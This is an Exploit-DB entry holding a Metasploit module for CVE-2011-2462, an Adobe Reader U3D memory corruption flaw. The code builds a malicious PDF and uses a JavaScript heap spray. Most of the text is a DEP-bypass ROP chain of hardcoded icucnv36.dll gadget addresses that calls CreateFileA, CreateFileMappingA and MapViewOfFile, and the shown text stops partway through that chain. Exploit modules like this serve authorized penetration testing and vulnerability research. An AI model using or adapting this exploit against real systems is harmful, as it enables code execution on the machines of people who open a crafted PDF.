Exploit-DB #18366
Description: Adobe Reader - U3D Memory Corruption (Metasploit)
Type: local
Platform: windows
Date: 2012-01-14
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe Reader U3D Memory Corruption Vulnerability',
			'Description'    => %q{
					This module exploits a vulnerability in the U3D handling within
				versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
				The vulnerability is due to the use of uninitialized memory.

				Arbitrary code execution is achieved by embedding specially crafted U3D
				data into a PDF document. A heap spray via JavaScript is used in order to
				ensure that the memory used by the invalid pointer issue is controlled.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r',
					'juan vazquez',
					'jduck'
				],
			'References'     =>
				[
					[ 'CVE', '2011-2462' ],
					[ 'OSVDB', '77529' ],
					[ 'BID', '50922' ],
					[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
					[ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ],
					[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
					[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1000,
					'BadChars'      => "\x00",
					'DisableNops'   => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						# Adobe Reader 9.4.0 / XP SP3
						# Adobe Reader 9.4.5 / XP SP3
						# Adobe Reader 9.4.6 / XP SP3
						'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
						{
							# gadget from icucnv36:
							# mov ecx,dword ptr [eax+3Ch]
							# mov eax,dword ptr [ecx]
							# call dword ptr [eax+1Ch]
							'Ret' => 0x4a8453c3
						}
					],
				],
			'DisclosureDate' => 'Dec 06 2011', #Needs to be checked
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def junk(n=1)
		tmp = []
		value = rand_text(4).unpack("L")[0].to_i
		n.times { tmp << value }
		return tmp
	end

	def exploit
		# DEP bypass; uses icucnv36.dll
		stack_data = [
			junk,
			0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
			0x0c0c0c0c, # becomes esi
			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
			0x4a8a0000, # becomes edi
			0x4a802196, # becomes esi
			0x4a801f90, # becomes ebp
			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
			0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
			junk(4),
			0x00000000, # becomes edi
			0x00000002, # becomes esi
			0x00000102, # becomes ebp
			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
			junk(5),
			0x4a80a8a6, # becomes edi
			0x4a801f90, # becomes esi
			0x4a849038, # becomes ebp
			0x4a8063a5, # pop ecx / ret
			junk(5),
			0x4a8a0000, # becomes ecx
			0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
			0x4a801f90, # pop eax / ret
			0x4a84903c, # becomes eax (import for CreateFileA)
			0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
			0x4a801064, # ret for CreateFileA # ret
			0x00000000, # __in      LPCTSTR lpFileName
			0x10000000, # __in      DWORD dwDesiredAccess
			0x00000000, # __in      DWORD dwShareMode
			0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes
			0x00000002, # __in      DWORD dwCreationDisposition
			0x00000102, # __in      DWORD dwFlagsAndAttributes
			0x00000000, # __in_opt  HANDLE hTemplateFile
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax, edi / ret
			0x4a802ab1, # pop ebx / ret
			0x00000008, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a801f90, # pop eax / ret
			0x4a849038, # becomes eax (import for CreateFileA)
			0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
			0x4a801064, # ret for CreateFileMappingA # ret
			0xffffffff, # __in      HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
			0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpAttributes,
			0x00000040, # __in      DWORD flProtect,
			0x00000000, # __in      DWORD dwMaximumSizeHigh,
			0x00010000, # __in      DWORD dwMaximumSizeLow,
			0x00000000, # __in_opt  LPCTSTR lpName
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax, edi / ret
			0x4a802ab1, # pop ebx / ret
			0x00000008, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a801f90, # pop eax / ret
			0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
			0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
			0x4a801064, # ret for MapViewOfFile # ret
			0xffffffff, # __in  HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
			0x00000022, # __in  DWORD dwDesiredAccess
			0x00000000, # __in  DWORD dwFileOffsetHigh
			0x00000000, # __in  DWORD dwFileOff